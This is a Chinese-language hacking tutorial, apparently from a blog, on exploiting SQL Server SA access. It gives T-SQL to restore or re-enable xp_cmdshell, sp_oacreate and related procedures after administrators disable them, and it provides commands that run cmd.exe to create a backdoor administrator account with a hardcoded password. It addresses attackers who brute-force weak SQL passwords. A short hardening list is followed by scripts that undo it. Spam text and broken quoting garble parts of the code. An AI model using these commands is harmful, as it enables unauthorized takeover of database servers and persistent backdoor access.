SQL Server SA权限总结经典技术

前提需要工具:SQLQueryAnalyzer和SqlExecSunxVersion 第一部分:
有关去掉xp_cmdshell来保护系统的分析总结: 首先知道一下语句:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[xpcmdshell]’)andOBJECTPROPERTY(id,N’IsExtendedProc’)=1)execsp_dropextendedprocN'[dbo].[xp_cmdshell]’
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedprocxp_cmdshell,@dllname=’xplog70.dll’ 现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQLQueryAnalyzer连接对方后直接写入,挺方便sp_addextendedprocxp_cmdshell,@dllname=’xplog70.dll’方法二、使用SqlExecSunxVersion首先在SqlExecSunxVersion的Format选项里填上%s,在CMD选项里输入sp_addextendedproc’xp_cmdshell’,’xpsql70.dll’或者对Sql2000情况下使用sp_addextendedproc’xp_cmdshell’,’xplog70.dll’另外使用SqlExecSunxVersion来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc’xp_cmdshell’就可以了
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入sp_addextendedprocxp_cmdshell,@dllname=’xplog70.dll’提示数据库中已存在名为’xp_cmdshell’的对象。

1433 SQL入侵恢复xp_cmdshell方法总结 sql server
2005下开启xp_cmdshell的办法 EXEC sp_configure ‘show advanced options’,
1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
SQL2005开启’OPENROWSET’支持的方法: exec sp_configure ‘show advanced
options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed
Queries’,1;RECONFIGURE; SQL2005开启’sp_oacreate’支持的方法: exec
sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures’,1;RECONFIGURE; 突破SA的各种困难
常见情况恢复执行xp_cmdshell 1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc
xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一
DLL。原因126 恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数
xp_cmdshell。原因: 127(找不到指定的程序。) 恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’ 第二步执行:exec
sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’ 然后按F5键命令执行完毕
四.终极方法. 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后, 2000servser系统: declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup
administrators dell /add’ xp或2003server系统: declare @shell int exec
sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup
administrators dell /add’ ————– xp_cmdshell新的恢复办法 删除
drop procedure sp_addextendedproc drop procedure sp_oacreate exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复 dbcc addextendedproc
(“sp_oacreate”,”odsole70.dll”) dbcc addextendedproc
(“xp_cmdshell”,”xplog70.dll”)
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
—————————– 删除扩展存储过过程xp_cmdshell的语句: exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复cmdshell的sql语句 exec
sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname
=’xplog70.dll’ 判断存储扩展是否存在 select count(*) from
master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc
‘xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects
where xtype=’x’ and name=’xp_cmdshell’ 返回结果为1就ok
否则上传xplog7.0.dll exec master.dbo.addextendedproc
‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’ 堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell —————- 删除sql危险存储:
复制代码 代码如下: DROP PROCEDURE
sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec
master..sp_dropextendedproc xp_dirtree exec
master..sp_dropextendedproc xp_fileexist exec
master..sp_dropextendedproc xp_terminate_process exec
master..sp_dropextendedproc sp_oamethod exec
master..sp_dropextendedproc sp_oacreate exec
master..sp_dropextendedproc xp_regaddmultistring exec
master..sp_dropextendedproc xp_regdeletekey exec
master..sp_dropextendedproc xp_regdeletevalue exec
master..sp_dropextendedproc xp_regenumkeys exec
master..sp_dropextendedproc xp_regenumvalues exec
master..sp_dropextendedproc sp_add_job exec
master..sp_dropextendedproc sp_addtask exec
master..sp_dropextendedproc xp_regread exec
master..sp_dropextendedproc xp_regwrite exec
master..sp_dropextendedproc xp_readwebtask exec
master..sp_dropextendedproc xp_makewebtask exec
master..sp_dropextendedproc xp_regremovemultistring exec
master..sp_dropextendedproc sp_OACreate DROP PROCEDURE
sp_澳门金沙vip,addextendedproc /*不狐 附上恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下: SQL代码: 复制代码 代码如下: create procedure
sp_addextendedproc — 1996/08/30 20:13 @functname nvarchar(517),/*
(owner.)name of function to call */ @dllname varchar(255)/* name of
DLL containing function */ as set implicit_transactions off if
@@trancount 0 begin raiserror(15002,-1,-1,’sp_addextendedproc’) return
(1) end dbcc addextendedproc( @functname, @dllname) return (0) —
sp_addextendedproc GO 再恢复以上所有扩展存储过程 SQL代码: 复制代码 代码如下: use master exec
sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’ exec
sp_addextendedproc xp_dirtree,’xpstar.dll’ exec sp_addextendedproc
xp_enumgroups,’xplog70.dll’ exec sp_addextendedproc
xp_fixeddrives,’xpstar.dll’ exec sp_addextendedproc
xp_loginconfig,’xplog70.dll’ exec sp_addextendedproc
xp_enumerrorlogs,’xpstar.dll’ exec sp_addextendedproc
xp_getfiledetails,’xpstar.dll’ exec sp_addextendedproc
sp_OACreate,’odsole70.dll’ exec sp_addextendedproc
sp_OADestroy,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetErrorInfo,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAMethod,’odsole70.dll’ exec sp_addextendedproc
sp_OASetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAStop,’odsole70.dll’ exec sp_addextendedproc
xp_regaddmultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletekey,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletevalue,’xpstar.dll’ exec sp_addextendedproc
xp_regenumvalues,’xpstar.dll’ exec sp_addextendedproc
xp_regread,’xpstar.dll’ exec sp_addextendedproc
xp_regremovemultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regwrite,’xpstar.dll’ exec sp_addextendedproc
xp_availablemedia,’xpstar.dll’ SQL Server 阻止了对组件 ‘xp_cmdshell’
的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他 分析器执行的语句: EXEC sp_configure ‘show
advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,
1;RECONFIGURE